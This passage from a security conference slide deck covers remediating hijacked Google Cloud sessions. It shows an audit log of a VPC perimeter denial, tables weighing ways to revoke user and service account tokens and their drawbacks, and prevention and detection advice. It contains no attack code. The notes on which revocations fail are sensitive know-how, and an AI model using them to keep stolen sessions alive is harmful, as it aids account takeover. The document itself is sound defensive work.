    "serviceName": "storage.googleapis.com",
    "methodName": "google.storage.objects.list",
    "resourceName": "projects/782318336815",
    "metadata": {
      "vpcServiceControlsUniqueId": "3ga82e8208a12fcd",
      "securityPolicyInfo": {
        "servicePerimeterName":
"accessPolicies/1019307517253/servicePerimeters/main_vpc_service_perimeter",
        "organizationId": "2391837632047"
      },
      "resourceNames": [
        "projects/_/buckets/bucket-foo-dev-mfa"
      ],
      "@type": "type.googleapis.com/google.cloud.audit.VpcServiceControlAuditMetadata",
      "violationReason": "NO_MATCHING_ACCESS_LEVEL"
    } },
  "insertId": "63st7qcts8",
  "resource": {
    "type": "audited_resource",
    "labels": {
      "project_id": "project-foo-dev-mfa",
      "service": "storage.googleapis.com",
      "method": "google.storage.objects.list"
    } },
  "timestamp": "2020-07-21T19:53:38.913023511Z",
  "severity": "ERROR",
  "logName": "projects/project-foo-dev-mfa/logs/cloudaudit.googleapis.com%2Fpolicy",
  "receiveTimestamp": "2020-07-21T19:53:40.301717287Z"
}
```

Remediation Options and More Options

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• Reset password • Suspend user • Delete user	• Reset sign-in cookies ? • CLI: `gcloud auth revoke` ? • API: revoke token ? • Reset password ? • Suspend user ? • Delete user ?
Service Account	• Rotate/delete API key • Disable service account • Delete service account	• CLI: `gcloud auth revoke` ? • API: revoke token ? • Rotate/delete API key ? • Disable service account ? • Delete service account ?

Remediation
Lock Out User Account

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• Reset password • Suspend user • Delete user	
Service Account		

Remediation
Lock Out User Account

- G Suite Admin > Users

Remediation
Lock Out User Account

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	
Service Account		

Remediation
Lock Out Service Account

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	
Service Account	• Rotate/delete API key • Disable service account • Delete service account	

Remediation
Lock Out Service Account

- Google Cloud Console > IAM & Admin > Service Accounts

Remediation
Lock Out Service Account

- Google Cloud Console > IAM & Admin > Service Accounts

Remediation
Lock Out Service Account

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	
Service Account	• **Rotate/delete API key** • Disable service account • Delete service account	

Remediation
Revoke User Account Sessions

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	• Reset sign-in cookies ? • CLI: `gcloud auth revoke` ? • API: revoke token ? • Reset password ? • Suspend user ? • Delete user ?
Service Account	• **Rotate/delete API key** • Disable service account • Delete service account	

Remediation
Revoke User Account Sessions

Action	Where / How	Description	Drawback
Reset Sign-In Cookies	G Suite Admin > Users > user > Security	Revokes current web browser sessions	Does not revoke SDK sessions (CLI/API)

Remediation
Revoke User Account Sessions

Action	Where / How	Description	Drawback
Reset Sign-In Cookies	G Suite Admin > Users > user > Security	Revokes current web browser sessions	Does not revoke SDK sessions (CLI/API)
gcloud auth revoke <account>	`gcloud` CLI	Revokes OAuth session access token and refresh token for user account	Can only be run on gcloud client machine and attacker can easily delete configuration to prevent this
API call to revoke token	`https://oauth2.googleapis.com/revoke`	Revokes specified OAuth session access token and refresh token	Requires OAuth access or refresh token, which is usually unknown because it is not logged. It is cached on gcloud client machine and is easily deleted by the attacker.
Reset password	G Suite Admin > Users		Does not revoke SDK sessions (CLI/API)
Suspend User Account	G Suite Admin > Users		Revokes SDK sessions (CLI/API) temporarily. Tokens still exist and are valid if User Account enabled again.
Delete User Account	G Suite Admin > Users		Revokes SDK sessions (CLI/API) but has high impact.

Remediation
Revoke User Account Sessions

- G Suite Admin > Users > user > Security > Connected applications

Connected applications

3 applications connected to this user. Learn more

Application	Access level	Authorization date	
Google APIs Explorer	Has access to Google Services, basic account info	Jul 1, 2020, 10:43:12 PM	
Google Cloud SDK	Has some account access, including Google Developers Console, Google Cloud Platform, basic account info	Jul 24, 2020, 10:49:27 AM	
Google Chrome	Has full access to your Google Account	Jul 27, 2020, 6:44:10 AM	Remove Google Chrome

DONE

Remediation
Revoke User Account Sessions

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	• Reset sign-in cookies ? • CLI: `gcloud auth revoke` ? • API: revoke token ? • Reset password ? • Suspend user ? • Delete user ? • **Delete Connected OAuth application**
Service Account	• **Rotate/delete API key** • Disable service account • Delete service account	

Remediation
Revoke Service Account Sessions

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	• Reset sign-in cookies ? • CLI: `gcloud auth revoke` ? • API: revoke token ? • Reset password ? • Suspend user ? • Delete user ? • **Delete Connected OAuth application**
Service Account	• **Rotate/delete API key** • Disable service account • Delete service account	• CLI: `gcloud auth revoke` ? • API: revoke token ? • Rotate/delete API key ? • Disable service account ? • Delete service account ?

Remediation
Revoke Service Account Sessions

Action	Where / How	Description	Drawback
gcloud auth revoke <account>	`gcloud` CLI	Revokes OAuth session access token and refresh token for user account	Does not revoke session tokens.
API call to revoke token	`https://oauth2.googleapis.com/revoke`	Revokes specified OAuth session access token and refresh token	Does not work on service account tokens. ***Error:*** *token is not revocable.* But even if it worked, same issues as user accounts.
Rotate / delete API key	Google Cloud Console > IAM & Admin > Service Accounts	Deletes API key	Does not revoke SDK sessions (CLI/API)
Disable Service Account	Google Cloud Console > IAM & Admin > Service Accounts	Disables Service Account	Revokes SDK sessions (CLI/API) temporarily. Tokens still exist and are valid if User Account enabled again. Suspend > cloud session duration
Delete Service Account	Google Cloud Console > IAM & Admin > Service Accounts	Deletes Service Account	Revokes SDK sessions (CLI/API) but has high impact.

Remediation
Revoke Service Account Sessions

Type of Compromised Account	Lock Out Account	Revoke Current Sessions
User Account	• **Reset password** • Suspend user • Delete user	• Reset sign-in cookies ? • CLI: `gcloud auth revoke` ? • API: revoke token ? • Reset password ? • Suspend user ? • Delete user ? • **Delete Connected OAuth application**
Service Account	• ~~Rotate/delete API key~~ • **Disable service account** • **Delete service account**	• CLI: `gcloud auth revoke` ? • API: revoke token ? • Rotate/delete API key ? • **Disable service account for cloud session duration** • **Delete service account**

Conclusion
Attack Scenarios

Conclusion
Defensive Measures

	Actions
Prevention	• Set Google Cloud session timeouts in G Suite • Implement IP allow lists with VPC service controls • Set MFA
Detection	• Detect failed authorizations due to IP allow lists • Detect failed authorizations due to fake accounts (breadcrumbs)
Remediation	User Accounts • Reset password in G Suite • Delete OAuth connected application in G Suite Service Accounts • Disable/reactivate after cloud session duration or • Delete/recreate service accounts

Conclusion
Takeaways

- Hijacking authenticated sessions is not new (e.g. web sites)
- Hijacking authenticated GCP sessions is relatively easy, and the “temporary” nature of oauth sessions does not mean they are “secure”
- Cloud vendors generally do a poor job in: tracking temporary tokens, allowing clean revocation, or providing better support for prevention and detection
- We can use defensive techniques from other security architectures:
  - Prevention: session timeouts and using IP allow lists
  - Detection: detect on low-FP auth failures (IP allow lists and breadcrumbs)
  - Remediation: testing + change management organization/competence
- Be aware of the split-responsibility of G Suite vs GCP for security settings related to temporary sessions and tokens

Thank You

Questions

@jenkohwong